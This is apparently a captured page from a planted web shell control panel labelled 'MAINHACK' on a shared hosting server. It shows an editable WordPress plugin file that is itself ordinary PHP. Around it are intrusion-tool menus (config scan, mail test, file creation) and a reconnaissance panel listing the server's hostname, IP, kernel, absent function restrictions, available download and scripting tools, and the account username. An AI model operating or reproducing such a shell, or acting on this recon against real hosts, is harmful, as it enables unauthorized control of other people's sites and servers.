[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: activation_rvy.php
<?php class RevisionaryActivation { function __construct($args = []) { $args = (array) $args; if (!empty($args['import_legacy'])) { $this->importLegacyRevisions(); } } function importLegacyRevisions() { global $wpdb; if (!get_option('revisionary_last_version') && get_site_transient('revisionary_previous_install')) { // Trigger dismissible migration notice even if no pending or scheduled revisions currently stored set_site_transient('_revisionary_1x_migration', true, 86400); } if (defined('REVISIONARY_FORCE_REIMPORT') && REVISIONARY_FORCE_REIMPORT) { $id_csv = ''; } elseif ($imported_ids = (array) get_option('revisionary_imported_ids')) { $id_csv = implode("','", array_map('intval', $imported_ids)); } else { $imported_ids = []; $id_csv = ''; } // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching if (!$revisions = $wpdb->get_results( "SELECT r.post_author AS post_author, r.post_date AS rev_date, r.post_date_gmt AS rev_date_gmt," . " r.post_content AS post_content, r.post_title AS post_title, r.post_excerpt AS post_excerpt," . " r.post_status AS post_status, r.post_modified AS post_modified, r.post_modified_gmt AS post_modified_gmt," . " r.ID AS rev_ID, r.post_parent AS comment_count, p.post_parent AS post_parent," . " p.post_type AS post_type, p.post_date AS post_date, p.post_date_gmt AS post_date_gmt, p.guid AS guid," . " p.comment_status AS comment_status, p.ping_status AS ping_status, p.menu_order AS menu_order" . " FROM $wpdb->posts AS r" . " INNER JOIN $wpdb->posts AS p" . " ON r.post_type = 'revision' AND r.post_status IN ('pending', 'future') AND r.post_parent = p.ID" . " WHERE r.ID NOT IN('$id_csv')" // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared . " ORDER BY p.ID, r.ID" ) ) { return; } $last_post_id = 0; foreach($revisions as $old) { $new = (array) $old; unset($new['rev_date']); unset($new['rev_date_gmt']); unset($new['rev_ID']); if ('future' == $old->post_status) { $new['post_status'] = 'future-revision'; $new['post_date'] = $old->rev_date; $new['post_date_gmt'] = $old->rev_date_gmt; } else { $new['post_status'] = 'pending-revision'; } // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->insert($wpdb->posts, $new); $new_revision_id = (int)$wpdb->insert_id; if ($new['comment_count'] != $new_revision_id) { add_post_meta($new_revision_id, '_rvy_base_post_id', $new['comment_count']); } add_post_meta($new_revision_id, '_rvy_imported_revision', $old->rev_ID); if ($new['comment_count'] != $last_post_id) { // avoid redundant update for same post require_once(dirname(__FILE__).'/rvy_init.php'); rvy_update_post_meta($new['comment_count'], '_rvy_has_revisions', true); $last_post_id = $new['comment_count']; } if (defined('REVISIONARY_DELETE_LEGACY_REVISIONS')) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->delete($wpdb->posts, ['ID' => $old->rev_ID]); } $imported_ids []= $old->rev_ID; } update_option('revisionary_imported_ids', $imported_ids); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154